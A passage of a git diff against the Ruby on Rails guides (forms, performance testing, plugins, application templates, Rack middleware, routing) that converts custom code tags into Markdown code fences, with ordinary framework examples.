<form action="/people" class="new_person" id="new_person" method="post">
<input id="person_name" name="person[name]" type="text" />
</form>
-</html>
+```
h5. Nested form for a single associated object
Now add a nested form for the +address+ association:
-<erb>
+```erb
<%= form_for @person do |f| %>
<%= f.text_field :name %>
@@ -147,23 +147,23 @@ Now add a nested form for the +address+ association:
<%= af.text_field :street %>
<% end %>
<% end %>
-</erb>
+```
This generates:
-<html>
+```html
<form action="/people" class="new_person" id="new_person" method="post">
<input id="person_name" name="person[name]" type="text" />
<input id="person_address_attributes_street" name="person[address_attributes][street]" type="text" />
</form>
-</html>
+```
Notice that +fields_for+ recognized the +address+ as an association for which a nested model form should be built by the way it has namespaced the +name+ attribute.
When this form is posted the Rails parameter parser will construct a hash like the following:
-<ruby>
+```ruby
{
"person" => {
"name" => "Eloy Duran",
@@ -172,7 +172,7 @@ When this form is posted the Rails parameter parser will construct a hash like t
}
}
}
-</ruby>
+```
That’s it. The controller will simply pass this hash on to the model from the +create+ action. The model will then handle building the +address+ association for you and automatically save it when the parent (+person+) is saved.
@@ -180,7 +180,7 @@ h5. Nested form for a collection of associated objects
The form code for an association collection is pretty similar to that of a single associated object:
-<erb>
+```erb
<%= form_for @person do |f| %>
<%= f.text_field :name %>
@@ -188,22 +188,22 @@ The form code for an association collection is pretty similar to that of a singl
<%= pf.text_field :name %>
<% end %>
<% end %>
-</erb>
+```
Which generates:
-<html>
+```html
<form action="/people" class="new_person" id="new_person" method="post">
<input id="person_name" name="person[name]" type="text" />
<input id="person_projects_attributes_0_name" name="person[projects_attributes][0][name]" type="text" />
<input id="person_projects_attributes_1_name" name="person[projects_attributes][1][name]" type="text" />
</form>
-</html>
+```
As you can see it has generated 2 +project name+ inputs, one for each new +project+ that was built in the controller's +new+ action. Only this time the +name+ attribute of the input contains a digit as an extra namespace. This will be parsed by the Rails parameter parser as:
-<ruby>
+```ruby
{
"person" => {
"name" => "Eloy Duran",
@@ -213,7 +213,7 @@ As you can see it has generated 2 +project name+ inputs, one for each new +proje
}
}
}
-</ruby>
+```
You can basically see the +projects_attributes+ hash as an array of attribute hashes, one for each model instance.
diff --git a/guides/source/performance_testing.md b/guides/source/performance_testing.md
index 6c5676c346..3114f200ab 100644
--- a/guides/source/performance_testing.md
+++ b/guides/source/performance_testing.md
@@ -28,7 +28,7 @@ and get a more in-depth picture of those problems.
In a freshly generated Rails application, +test/performance/browsing_test.rb+
contains an example of a performance test:
-<ruby>
+```ruby
require 'test_helper'
require 'rails/performance_test_help'
@@ -41,7 +41,7 @@ class BrowsingTest < ActionDispatch::PerformanceTest
get '/'
end
end
-</ruby>
+```
This example is a simple performance test case for profiling a GET request to
the application's homepage.
@@ -51,13 +51,13 @@ h4. Generating Performance Tests
Rails provides a generator called +performance_test+ for creating new
performance tests:
-<shell>
+```shell
$ rails generate performance_test homepage
-</shell>
+```
This generates +homepage_test.rb+ in the +test/performance+ directory:
-<ruby>
+```ruby
require 'test_helper'
require 'rails/performance_test_help'
@@ -70,13 +70,13 @@ class HomepageTest < ActionDispatch::PerformanceTest
get '/'
end
end
-</ruby>
+```
h4. Examples
Let's assume your application has the following controller and model:
-<ruby>
+```ruby
# routes.rb
root to: 'home#dashboard'
resources :posts
@@ -111,7 +111,7 @@ class Post < ActiveRecord::Base
# CPU heavy calculations
end
end
-</ruby>
+```
h5. Controller Example
@@ -121,7 +121,7 @@ the +get+ and +post+ methods in them.
Here's the performance test for +HomeController#dashboard+ and
+PostsController#create+:
-<ruby>
+```ruby
require 'test_helper'
require 'rails/performance_test_help'
@@ -139,7 +139,7 @@ class PostPerformanceTest < ActionDispatch::PerformanceTest
post '/posts', post: { body: 'lifo is fooling you' }
end
end
-</ruby>
+```
You can find more details about the +get+ and +post+ methods in the
"Testing Rails Applications":testing.html guide.
@@ -152,7 +152,7 @@ code.
Performance test for +Post+ model:
-<ruby>
+```ruby
require 'test_helper'
require 'rails/performance_test_help'
@@ -166,7 +166,7 @@ class PostModelTest < ActionDispatch::PerformanceTest
posts(:awesome).slow_method
end
end
-</ruby>
+```
h4. Modes
@@ -179,9 +179,9 @@ By default, each test case is run *4 times* in benchmarking mode.
To run performance tests in benchmarking mode:
-<shell>
+```shell
$ rake test:benchmark
-</shell>
+```
h5. Profiling
@@ -192,9 +192,9 @@ test case is run *once* in profiling mode.
To run performance tests in profiling mode:
-<shell>
+```shell
$ rake test:profile
-</shell>
+```
h4. Metrics
@@ -276,14 +276,14 @@ h6(#output-command-line). Command Line
This is the primary form of output in benchmarking mode. Example:
-<shell>
+```shell
BrowsingTest#test_homepage (31 ms warmup)
wall_time: 6 ms
memory: 437.27 KB
objects: 5,514
gc_runs: 0
gc_time: 19 ms
-</shell>
+```
h6. CSV Files
@@ -303,7 +303,7 @@ be very helpful in analyzing the effects of code changes.
Sample output of +BrowsingTest#test_homepage_wall_time.csv+:
-<shell>
+```shell
measurement,created_at,app,rails,ruby,platform
0.00738224999999992,2009-01-08T03:40:29Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
0.00755874999999984,2009-01-08T03:46:18Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
@@ -315,7 +315,7 @@ measurement,created_at,app,rails,ruby,platform
0.00740450000000004,2009-01-09T03:54:47Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
0.00603150000000008,2009-01-09T03:54:57Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
0.00771250000000012,2009-01-09T15:46:03Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
-</shell>
+```
h5(#output-profiling). Profiling
@@ -328,12 +328,12 @@ h6. Command Line
This is a very basic form of output in profiling mode:
-<shell>
+```shell
BrowsingTest#test_homepage (58 ms warmup)
process_time: 63 ms
memory: 832.13 KB
objects: 7,882
-</shell>
+```
h6. Flat
@@ -363,7 +363,7 @@ h4. Tuning Test Runs
Test runs can be tuned by setting the +profile_options+ class variable on your
test class.
-<ruby>
+```ruby
require 'test_helper'
require 'rails/performance_test_help'
@@ -374,7 +374,7 @@ class BrowsingTest < ActionDispatch::PerformanceTest
get '/'
end
end
-</ruby>
+```
In this example, the test would run 5 times and measure wall time and memory.
There are a few configurable options:
@@ -403,11 +403,11 @@ h4. Performance Test Environment
Performance tests are run in the +test+ environment. But running performance
tests will set the following configuration parameters:
-<shell>
+```shell
ActionController::Base.perform_caching = true
ActiveSupport::Dependencies.mechanism = :require
Rails.logger.level = ActiveSupport::BufferedLogger::INFO
-</shell>
+```
As +ActionController::Base.perform_caching+ is set to +true+, performance tests
will behave much as they do in the +production+ environment.
@@ -437,20 +437,20 @@ The process of installing a patched Ruby interpreter is very easy if you let RVM
do the hard work. All of the following RVM commands will provide you with a
patched Ruby interpreter:
-<shell>
+```shell
$ rvm install 1.9.2-p180 --patch gcdata
$ rvm install 1.8.7 --patch ruby187gc
$ rvm install 1.9.2-p180 --patch ~/Downloads/downloaded_gcdata_patch.patch
-</shell>
+```
You can even keep your regular interpreter by assigning a name to the patched
one:
-<shell>
+```shell
$ rvm install 1.9.2-p180 --patch gcdata --name gcdata
$ rvm use 1.9.2-p180 # your regular ruby
$ rvm use 1.9.2-p180-gcdata # your patched ruby
-</shell>
+```
And it's done! You have installed a patched Ruby interpreter.
@@ -462,19 +462,19 @@ Ruby binary inside your home directory.
h6. Download and Extract
-<shell>
+```shell
$ mkdir rubygc
$ wget <the version you want from ftp://ftp.ruby-lang.org/pub/ruby>
$ tar -xzvf <ruby-version.tar.gz>
$ cd <ruby-version>
-</shell>
+```
h6. Apply the Patch
-<shell>
+```shell
$ curl http://github.com/wayneeseguin/rvm/raw/master/patches/ruby/1.9.2/p180/gcdata.patch | patch -p0 # if you're on 1.9.2!
$ curl http://github.com/wayneeseguin/rvm/raw/master/patches/ruby/1.8.7/ruby187gc.patch | patch -p0 # if you're on 1.8.7!
-</shell>
+```
h6. Configure and Install
@@ -482,22 +482,22 @@ The following will install Ruby in your home directory's +/rubygc+ directory.
Make sure to replace +&lt;homedir&gt;+ with a full patch to your actual home
directory.
-<shell>
+```shell
$ ./configure --prefix=/<homedir>/rubygc
$ make && make install
-</shell>
+```
h6. Prepare Aliases
For convenience, add the following lines in your +~/.profile+:
-<shell>
+```shell
alias gcruby='~/rubygc/bin/ruby'
alias gcrake='~/rubygc/bin/rake'
alias gcgem='~/rubygc/bin/gem'
alias gcirb='~/rubygc/bin/irb'
alias gcrails='~/rubygc/bin/rails'
-</shell>
+```
Don't forget to use your aliases from now on.
@@ -506,9 +506,9 @@ h4. Using Ruby-Prof on MRI and REE
Add Ruby-Prof to your applications' Gemfile if you want to benchmark/profile
under MRI or REE:
-<ruby>
+```ruby
gem 'ruby-prof', git: 'git://github.com/wycats/ruby-prof.git'
-</ruby>
+```
Now run +bundle install+ and you're ready to go.
@@ -522,7 +522,7 @@ h4. +benchmarker+
Usage:
-<shell>
+```shell
Usage: rails benchmarker 'Ruby.code' 'Ruby.more_code' ... [OPTS]
-r, --runs N Number of runs.
Default: 4
@@ -530,19 +530,19 @@ Usage: rails benchmarker 'Ruby.code' 'Ruby.more_code' ... [OPTS]
Default: tmp/performance
-m, --metrics a,b,c Metrics to use.
Default: wall_time,memory,objects,gc_runs,gc_time
-</shell>
+```
Example:
-<shell>
+```shell
$ rails benchmarker 'Item.all' 'CouchItem.all' --runs 3 --metrics wall_time,memory
-</shell>
+```
h4. +profiler+
Usage:
-<shell>
+```shell
Usage: rails profiler 'Ruby.code' 'Ruby.more_code' ... [OPTS]
-r, --runs N Number of runs.
Default: 1
@@ -552,13 +552,13 @@ Usage: rails profiler 'Ruby.code' 'Ruby.more_code' ... [OPTS]
Default: process_time,memory,objects
-m, --formats x,y,z Formats to output to.
Default: flat,graph_html,call_tree
-</shell>
+```
Example:
-<shell>
+```shell
$ rails profiler 'Item.all' 'CouchItem.all' --runs 2 --metrics process_time --formats flat
-</shell>
+```
NOTE: Metrics and formats vary from interpreter to interpreter. Pass +--help+ to
each tool to see the defaults for your interpreter.
@@ -571,20 +571,20 @@ is called +benchmark()+ in all the three components.
h4. Model
-<ruby>
+```ruby
Project.benchmark("Creating project") do
project = Project.create("name" => "stuff")
project.create_manager("name" => "David")
project.milestones << Milestone.all
end
-</ruby>
+```
This benchmarks the code enclosed in the +Project.benchmark("Creating project") do...end+
block and prints the result to the log file:
-<ruby>
+```ruby
Creating project (185.3ms)
-</ruby>
+```
Please refer to the "API docs":http://api.rubyonrails.org/classes/ActiveSupport/Benchmarkable.html#method-i-benchmark
for additional options to +benchmark()+.
@@ -593,14 +593,14 @@ h4. Controller
Similarly, you could use this helper method inside "controllers.":http://api.rubyonrails.org/classes/ActiveSupport/Benchmarkable.html
-<ruby>
+```ruby
def process_projects
benchmark("Processing projects") do
Project.process(params[:project_ids])
Project.update_cached_projects
end
end
-</ruby>
+```
NOTE: +benchmark+ is a class method inside controllers.
@@ -608,29 +608,29 @@ h4. View
And in "views":http://api.rubyonrails.org/classes/ActiveSupport/Benchmarkable.html:
-<erb>
+```erb
<% benchmark("Showing projects partial") do %>
<%= render @projects %>
<% end %>
-</erb>
+```
h3. Request Logging
Rails log files contain very useful information about the time taken to serve
each request. Here's a typical log file entry:
-<shell>
+```shell
Processing ItemsController#index (for 127.0.0.1 at 2009-01-08 03:06:39) [GET]
Rendering template within layouts/items
Rendering items/index
Completed in 5ms (View: 2, DB: 0) | 200 OK [http://0.0.0.0/items]
-</shell>
+```
For this section, we're only interested in the last line:
-<shell>
+```shell
Completed in 5ms (View: 2, DB: 0) | 200 OK [http://0.0.0.0/items]
-</shell>
+```
This data is fairly straightforward to understand. Rails uses millisecond(ms) as
the metric to measure the time taken. The complete request spent 5 ms inside
diff --git a/guides/source/plugins.md b/guides/source/plugins.md
index 50ea6b166a..19f2cd758e 100644
--- a/guides/source/plugins.md
+++ b/guides/source/plugins.md
@@ -39,9 +39,9 @@ Rails 3.1 ships with a +rails plugin new+ command which creates a
to run integration tests using a dummy Rails application. See usage
and options by asking for help:
-<shell>
+```shell
$ rails plugin --help
-</shell>
+```
h3. Testing your newly generated plugin
@@ -50,9 +50,9 @@ You can navigate to the directory that contains the plugin, run the +bundle inst
You should see:
-<shell>
+```shell
2 tests, 2 assertions, 0 failures, 0 errors, 0 skips
-</shell>
+```
This will tell you that everything got generated properly and you are ready to start adding functionality.
@@ -62,7 +62,7 @@ This section will explain how to add a method to String that will be available a
In this example you will add a method to String named +to_squawk+. To begin, create a new test file with a few assertions:
-<ruby>
+```ruby
# yaffle/test/core_ext_test.rb
require 'test_helper'
@@ -72,33 +72,33 @@ class CoreExtTest < Test::Unit::TestCase
assert_equal "squawk! Hello World", "Hello World".to_squawk
end
end
-</ruby>
+```
Run +rake+ to run the test. This test should fail because we haven't implemented the +to_squawk+ method:
-<shell>
+```shell
1) Error:
test_to_squawk_prepends_the_word_squawk(CoreExtTest):
NoMethodError: undefined method `to_squawk' for "Hello World":String
test/core_ext_test.rb:5:in `test_to_squawk_prepends_the_word_squawk'
-</shell>
+```
Great - now you are ready to start development.
Then in +lib/yaffle.rb+ require +lib/core_ext+:
-<ruby>
+```ruby
# yaffle/lib/yaffle.rb
require "yaffle/core_ext"
module Yaffle
end
-</ruby>
+```
Finally, create the +core_ext.rb+ file and add the +to_squawk+ method:
-<ruby>
+```ruby
# yaffle/lib/yaffle/core_ext.rb
String.class_eval do
@@ -106,21 +106,21 @@ String.class_eval do
"squawk! #{self}".strip
end
end
-</ruby>
+```
To test that your method does what it says it does, run the unit tests with +rake+ from your plugin directory.
-<shell>
+```shell
3 tests, 3 assertions, 0 failures, 0 errors, 0 skips
-</shell>
+```
To see this in action, change to the test/dummy directory, fire up a console and start squawking:
-<shell>
+```shell
$ rails console
>> "Hello World".to_squawk
=> "squawk! Hello World"
-</shell>
+```
h3. Add an "acts_as" Method to Active Record
@@ -129,16 +129,16 @@ want to write a method called 'acts_as_yaffle' that adds a 'squawk' method to yo
To begin, set up your files so that you have:
-<ruby>
+```ruby
# yaffle/test/acts_as_yaffle_test.rb
require 'test_helper'
class ActsAsYaffleTest < Test::Unit::TestCase
end
-</ruby>
+```
-<ruby>
+```ruby
# yaffle/lib/yaffle.rb
require "yaffle/core_ext"
@@ -146,9 +146,9 @@ require 'yaffle/acts_as_yaffle'
module Yaffle
end
-</ruby>
+```
-<ruby>
+```ruby
# yaffle/lib/yaffle/acts_as_yaffle.rb
module Yaffle
@@ -156,7 +156,7 @@ module Yaffle
# your code will go here
end
end
-</ruby>
+```
h4. Add a Class Method
@@ -166,7 +166,7 @@ for something else. This plugin will allow the name to be changed by adding a cl
To start out, write a failing test that shows the behavior you'd like:
-<ruby>
+```ruby
# yaffle/test/acts_as_yaffle_test.rb
require 'test_helper'
@@ -182,11 +182,11 @@ class ActsAsYaffleTest < Test::Unit::TestCase
end
end
-</ruby>
+```
When you run +rake+, you should see the following:
-<shell>
+```shell
1) Error:
test_a_hickwalls_yaffle_text_field_should_be_last_squawk(ActsAsYaffleTest):
NameError: uninitialized constant ActsAsYaffleTest::Hickwall
@@ -198,31 +198,31 @@ When you run +rake+, you should see the following:
test/acts_as_yaffle_test.rb:10:in `test_a_wickwalls_yaffle_text_field_should_be_last_tweet'
5 tests, 3 assertions, 0 failures, 2 errors, 0 skips
-</shell>
+```
This tells us that we don't have the necessary models (Hickwall and Wickwall) that we are trying to test.
We can easily generate these models in our "dummy" Rails application by running the following commands from the
test/dummy directory:
-<shell>
+```shell
$ cd test/dummy
$ rails generate model Hickwall last_squawk:string
$ rails generate model Wickwall last_squawk:string last_tweet:string
-</shell>
+```
Now you can create the necessary database tables in your testing database by navigating to your dummy app
and migrating the database. First
-<shell>
+```shell
$ cd test/dummy
$ rake db:migrate
$ rake db:test:prepare
-</shell>
+```
While you are here, change the Hickwall and Wickwall models so that they know that they are supposed to act
like yaffles.
-<ruby>
+```ruby
# test/dummy/app/models/hickwall.rb
class Hickwall < ActiveRecord::Base
@@ -235,11 +235,11 @@ class Wickwall < ActiveRecord::Base
acts_as_yaffle :yaffle_text_field => :last_tweet
end
-</ruby>
+```
We will also add code to define the acts_as_yaffle method.
-<ruby>
+```ruby
# yaffle/lib/yaffle/acts_as_yaffle.rb
module Yaffle
module ActsAsYaffle
@@ -257,11 +257,11 @@ module Yaffle
end
ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle
-</ruby>
+```
You can then return to the root directory (+cd ../..+) of your plugin and rerun the tests using +rake+.
-<shell>
+```shell
1) Error:
test_a_hickwalls_yaffle_text_field_should_be_last_squawk(ActsAsYaffleTest):
NoMethodError: undefined method `yaffle_text_field' for #<Class:0x000001016661b8>
@@ -276,11 +276,11 @@ You can then return to the root directory (+cd ../..+) of your plugin and rerun
5 tests, 3 assertions, 0 failures, 2 errors, 0 skips
-</shell>
+```
Getting closer... Now we will implement the code of the acts_as_yaffle method to make the tests pass.
-<ruby>
+```ruby
# yaffle/lib/yaffle/acts_as_yaffle.rb
module Yaffle
@@ -300,13 +300,13 @@ module Yaffle
end
ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle
-</ruby>
+```
When you run +rake+ you should see the tests all pass:
-<shell>
+```shell
5 tests, 5 assertions, 0 failures, 0 errors, 0 skips
-</shell>
+```
h4. Add an Instance Method
@@ -315,7 +315,7 @@ method will simply set the value of one of the fields in the database.
To start out, write a failing test that shows the behavior you'd like:
-<ruby>
+```ruby
# yaffle/test/acts_as_yaffle_test.rb
require 'test_helper'
@@ -341,12 +341,12 @@ class ActsAsYaffleTest < Test::Unit::TestCase
assert_equal "squawk! Hello World", wickwall.last_tweet
end
end
-</ruby>
+```
Run the test to make sure the last two tests fail with an error that contains "NoMethodError: undefined method `squawk'",
then update 'acts_as_yaffle.rb' to look like this:
-<ruby>
+```ruby
# yaffle/lib/yaffle/acts_as_yaffle.rb
module Yaffle
@@ -374,13 +374,13 @@ module Yaffle
end
ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle
-</ruby>
+```
Run +rake+ one final time and you should see:
-<shell>
+```shell
7 tests, 7 assertions, 0 failures, 0 errors, 0 skips
-</shell>
+```
NOTE: The use of +write_attribute+ to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use <tt>send("#{self.class.yaffle_text_field}=", string.to_squawk)</tt>.
@@ -394,9 +394,9 @@ h3. Publishing your Gem
Gem plugins currently in development can easily be shared from any Git repository. To share the Yaffle gem with others, simply
commit the code to a Git repository (like GitHub) and add a line to the Gemfile of the application in question:
-<ruby>
+```ruby
gem 'yaffle', :git => 'git://github.com/yaffle_watcher/yaffle.git'
-</ruby>
+```
After running +bundle install+, your gem functionality will be available to the application.
@@ -418,9 +418,9 @@ Once your README is solid, go through and add rdoc comments to all of the method
Once your comments are good to go, navigate to your plugin directory and run:
-<shell>
+```shell
$ rake rdoc
-</shell>
+```
h4. References
diff --git a/guides/source/rails_application_templates.md b/guides/source/rails_application_templates.md
index 2fa40bc4cc..1c5148f46f 100644
--- a/guides/source/rails_application_templates.md
+++ b/guides/source/rails_application_templates.md
@@ -13,23 +13,23 @@ h3. Usage
To apply a template, you need to provide the Rails generator with the location of the template you wish to apply, using -m option. This can either be path to a file or a URL.
-<shell>
+```shell
$ rails new blog -m ~/template.rb
$ rails new blog -m http://example.com/template.rb
-</shell>
+```
You can use the rake task +rails:template+ to apply templates to an existing Rails application. The location of the template needs to be passed in to an environment variable named LOCATION. Again, this can either be path to a file or a URL.
-<shell>
+```shell
$ rake rails:template LOCATION=~/template.rb
$ rake rails:template LOCATION=http://example.com/template.rb
-</shell>
+```
h3. Template API
Rails templates API is very self explanatory and easy to understand. Here's an example of a typical Rails template:
-<ruby>
+```ruby
# template.rb
run "rm public/index.html"
generate(:scaffold, "person name:string")
@@ -39,7 +39,7 @@ rake("db:migrate")
git :init
git :add => "."
git :commit => %Q{ -m 'Initial commit' }
-</ruby>
+```
The following sections outlines the primary methods provided by the API:
@@ -49,16 +49,16 @@ Adds a +gem+ entry for the supplied gem to the generated application’s +Gemfil
For example, if your application depends on the gems +bj+ and +nokogiri+:
-<ruby>
+```ruby
gem "bj"
gem "nokogiri"
-</ruby>
+```
Please note that this will NOT install the gems for you and you will have to run +bundle install+ to do that.
-<ruby>
+```ruby
bundle install
-</ruby>
+```
h4. gem_group(*names, &block)
@@ -66,11 +66,11 @@ Wraps gem entries inside a group.
For example, if you want to load +rspec-rails+ only in +development+ and +test+ group:
-<ruby>
+```ruby
gem_group :development, :test do
gem "rspec-rails"
end
-</ruby>
+```
h4. add_source(source, options = {})
@@ -78,9 +78,9 @@ Adds the given source to the generated application's +Gemfile+.
For example, if you need to source a gem from "http://code.whytheluckystiff.net":
-<ruby>
+```ruby
add_source "http://code.whytheluckystiff.net"
-</ruby>
+```
h4. vendor/lib/file/initializer(filename, data = nil, &block)
@@ -88,7 +88,7 @@ Adds an initializer to the generated application’s +config/initializers+ direc
Lets say you like using +Object#not_nil?+ and +Object#not_blank?+:
-<ruby>
+```ruby
initializer 'bloatlol.rb', <<-CODE
class Object
def not_nil?
@@ -100,18 +100,18 @@ class Object
end
end
CODE
-</ruby>
+```
Similarly +lib()+ creates a file in the +lib/+ directory and +vendor()+ creates a file in the +vendor/+ directory.
There is even +file()+, which accepts a relative path from +Rails.root+ and creates all the directories/file needed:
-<ruby>
+```ruby
file 'app/components/foo.rb', <<-CODE
class Foo
end
CODE
-</ruby>
+```
That’ll create +app/components+ directory and put +foo.rb+ in there.
@@ -119,7 +119,7 @@ h4. rakefile(filename, data = nil, &block)
Creates a new rake file under +lib/tasks+ with the supplied tasks:
-<ruby>
+```ruby
rakefile("bootstrap.rake") do
<<-TASK
namespace :boot do
@@ -129,7 +129,7 @@ rakefile("bootstrap.rake") do
end
TASK
end
-</ruby>
+```
The above creates +lib/tasks/bootstrap.rake+ with a +boot:strap+ rake task.
@@ -137,55 +137,55 @@ h4. generate(what, args)
Runs the supplied rails generator with given arguments.
-<ruby>
+```ruby
generate(:scaffold, "person", "name:string", "address:text", "age:number")
-</ruby>
+```
h4. run(command)
Executes an arbitrary command. Just like the backticks. Let's say you want to remove the +public/index.html+ file:
-<ruby>
+```ruby
run "rm public/index.html"
-</ruby>
+```
h4. rake(command, options = {})
Runs the supplied rake tasks in the Rails application. Let's say you want to migrate the database:
-<ruby>
+```ruby
rake "db:migrate"
-</ruby>
+```
You can also run rake tasks with a different Rails environment:
-<ruby>
+```ruby
rake "db:migrate", :env => 'production'
-</ruby>
+```
h4. route(routing_code)
This adds a routing entry to the +config/routes.rb+ file. In above steps, we generated a person scaffold and also removed +public/index.html+. Now to make +PeopleController#index+ as the default page for the application:
-<ruby>
+```ruby
route "root :to => 'person#index'"
-</ruby>
+```
h4. inside(dir)
Enables you to run a command from the given directory. For example, if you have a copy of edge rails that you wish to symlink from your new apps, you can do this:
-<ruby>
+```ruby
inside('vendor') do
run "ln -s ~/commit-rails/rails rails"
end
-</ruby>
+```
h4. ask(question)
+ask()+ gives you a chance to get some feedback from the user and use it in your templates. Lets say you want your user to name the new shiny library you’re adding:
-<ruby>
+```ruby
lib_name = ask("What do you want to call the shiny library ?")
lib_name << ".rb" unless lib_name.index(".rb")
@@ -193,23 +193,23 @@ lib lib_name, <<-CODE
class Shiny
end
CODE
-</ruby>
+```
h4. yes?(question) or no?(question)
These methods let you ask questions from templates and decide the flow based on the user’s answer. Lets say you want to freeze rails only if the user want to:
-<ruby>
+```ruby
rake("rails:freeze:gems") if yes?("Freeze rails gems ?")
no?(question) acts just the opposite.
-</ruby>
+```
h4. git(:command)
Rails templates let you run any git command:
-<ruby>
+```ruby
git :init
git :add => "."
git :commit => "-a -m 'Initial commit'"
-</ruby>
+```
diff --git a/guides/source/rails_on_rack.md b/guides/source/rails_on_rack.md
index 63712b22ef..8ca896f358 100644
--- a/guides/source/rails_on_rack.md
+++ b/guides/source/rails_on_rack.md
@@ -31,35 +31,35 @@ h4. +rails server+
Here's how +rails server+ creates an instance of +Rack::Server+
-<ruby>
+```ruby
Rails::Server.new.tap { |server|
require APP_PATH
Dir.chdir(Rails.application.root)
server.start
}
-</ruby>
+```
The +Rails::Server+ inherits from +Rack::Server+ and calls the +Rack::Server#start+ method this way:
-<ruby>
+```ruby
class Server < ::Rack::Server
def start
...
super
end
end
-</ruby>
+```
Here's how it loads the middlewares:
-<ruby>
+```ruby
def middleware
middlewares = []
middlewares << [Rails::Rack::Debugger] if options[:debugger]
middlewares << [::Rack::ContentLength]
Hash.new(middlewares)
end
-</ruby>
+```
+Rails::Rack::Debugger+ is primarily useful only in the development environment. The following table explains the usage of the loaded middlewares:
@@ -71,26 +71,26 @@ h4. +rackup+
To use +rackup+ instead of Rails' +rails server+, you can put the following inside +config.ru+ of your Rails application's root directory:
-<ruby>
+```ruby
# Rails.root/config.ru
require "config/environment"
use Rack::Debugger
use Rack::ContentLength
run ApplicationName::Application
-</ruby>
+```
And start the server:
-<shell>
+```shell
$ rackup config.ru
-</shell>
+```
To find out more about different +rackup+ options:
-<shell>
+```shell
$ rackup --help
-</shell>
+```
h3. Action Dispatcher Middleware Stack
@@ -102,13 +102,13 @@ h4. Inspecting Middleware Stack
Rails has a handy rake task for inspecting the middleware stack in use:
-<shell>
+```shell
$ rake middleware
-</shell>
+```
For a freshly generated Rails application, this might produce something like:
-<ruby>
+```ruby
use ActionDispatch::Static
use Rack::Lock
use #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x000000029a0838>
@@ -132,7 +132,7 @@ use Rack::ConditionalGet
use Rack::ETag
use ActionDispatch::BestStandardsSupport
run ApplicationName::Application.routes
-</ruby>
+```
Purpose of each of this middlewares is explained in the "Internal Middlewares":#internal-middleware-stack section.
@@ -150,7 +150,7 @@ You can add a new middleware to the middleware stack using any of the following
* <tt>config.middleware.insert_after(existing_middleware, new_middleware, args)</tt> - Adds the new middleware after the specified existing middleware in the middleware stack.
-<ruby>
+```ruby
# config/application.rb
# Push Rack::BounceFavicon at the bottom
@@ -159,18 +159,18 @@ config.middleware.use Rack::BounceFavicon
# Add Lifo::Cache after ActiveRecord::QueryCache.
# Pass { :page_cache => false } argument to Lifo::Cache.
config.middleware.insert_after ActiveRecord::QueryCache, Lifo::Cache, :page_cache => false
-</ruby>
+```
h5. Swapping a Middleware
You can swap an existing middleware in the middleware stack using +config.middleware.swap+.
-<ruby>
+```ruby
# config/application.rb
# Replace ActionDispatch::ShowExceptions with Lifo::ShowExceptions
config.middleware.swap ActionDispatch::ShowExceptions, Lifo::ShowExceptions
-</ruby>
+```
h5. Middleware Stack is an Enumerable
@@ -178,14 +178,14 @@ The middleware stack behaves just like a normal +Enumerable+. You can use any +E
Append following lines to your application configuration:
-<ruby>
+```ruby
# config/application.rb
config.middleware.delete "Rack::Lock"
-</ruby>
+```
And now if you inspect the middleware stack, you'll find that +Rack::Lock+ will not be part of it.
-<shell>
+```shell
$ rake middleware
(in /Users/lifo/Rails/blog)
use ActionDispatch::Static
@@ -193,24 +193,24 @@ use #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x00000001c304c8>
use Rack::Runtime
...
run Blog::Application.routes
-</shell>
+```
If you want to remove session related middleware, do the following:
-<ruby>
+```ruby
# config/application.rb
config.middleware.delete "ActionDispatch::Cookies"
config.middleware.delete "ActionDispatch::Session::CookieStore"
config.middleware.delete "ActionDispatch::Flash"
-</ruby>
+```
And to remove browser related middleware,
-<ruby>
+```ruby
# config/application.rb
config.middleware.delete "ActionDispatch::BestStandardsSupport"
config.middleware.delete "Rack::MethodOverride"
-</ruby>
+```
h4. Internal Middleware Stack
@@ -290,19 +290,19 @@ The following shows how to replace use +Rack::Builder+ instead of the Rails supp
<strong>Clear the existing Rails middleware stack</strong>
-<ruby>
+```ruby
# config/application.rb
config.middleware.clear
-</ruby>
+```
<br />
<strong>Add a +config.ru+ file to +Rails.root+</strong>
-<ruby>
+```ruby
# config.ru
use MyOwnStackFromScratch
run ApplicationName::Application
-</ruby>
+```
h3. Resources
diff --git a/guides/source/routing.md b/guides/source/routing.md
index 9718887612..8830401d7f 100644
--- a/guides/source/routing.md
+++ b/guides/source/routing.md
@@ -18,15 +18,15 @@ h4. Connecting URLs to Code
When your Rails application receives an incoming request
-<plain>
+```
GET /patients/17
-</plain>
+```
it asks the router to match it to a controller action. If the first matching route is
-<ruby>
+```ruby
get "/patients/:id" => "patients#show"
-</ruby>
+```
the request is dispatched to the +patients+ controller's +show+ action with <tt>{ :id => "17" }</tt> in +params+.
@@ -34,19 +34,19 @@ h4. Generating Paths and URLs from Code
You can also generate paths and URLs. If the route above is modified to be
-<ruby>
+```ruby
get "/patients/:id" => "patients#show", :as => "patient"
-</ruby>
+```
If your application contains this code:
-<ruby>
+```ruby
@patient = Patient.find(17)
-</ruby>
+```
-<erb>
+```erb
<%= link_to "Patient Record", patient_path(@patient) %>
-</erb>
+```
The router will generate the path +/patients/17+. This reduces the brittleness of your view and makes your code easier to understand. Note that the id does not need to be specified in the route helper.
@@ -60,15 +60,15 @@ Browsers request pages from Rails by making a request for a URL using a specific
When your Rails application receives an incoming request for
-<plain>
+```
DELETE /photos/17
-</plain>
+```
it asks the router to map it to a controller action. If the first matching route is
-<ruby>
+```ruby
resources :photos
-</ruby>
+```
Rails would dispatch that request to the +destroy+ method on the +photos+ controller with <tt>{ :id => "17" }</tt> in +params+.
@@ -76,9 +76,9 @@ h4. CRUD, Verbs, and Actions
In Rails, a resourceful route provides a mapping between HTTP verbs and URLs to controller actions. By convention, each action also maps to particular CRUD operations in a database. A single entry in the routing file, such as
-<ruby>
+```ruby
resources :photos
-</ruby>
+```
creates seven different routes in your application, all mapping to the +Photos+ controller:
@@ -110,31 +110,31 @@ h4. Defining Multiple Resources at the Same Time
If you need to create routes for more than one resource, you can save a bit of typing by defining them all with a single call to +resources+:
-<ruby>
+```ruby
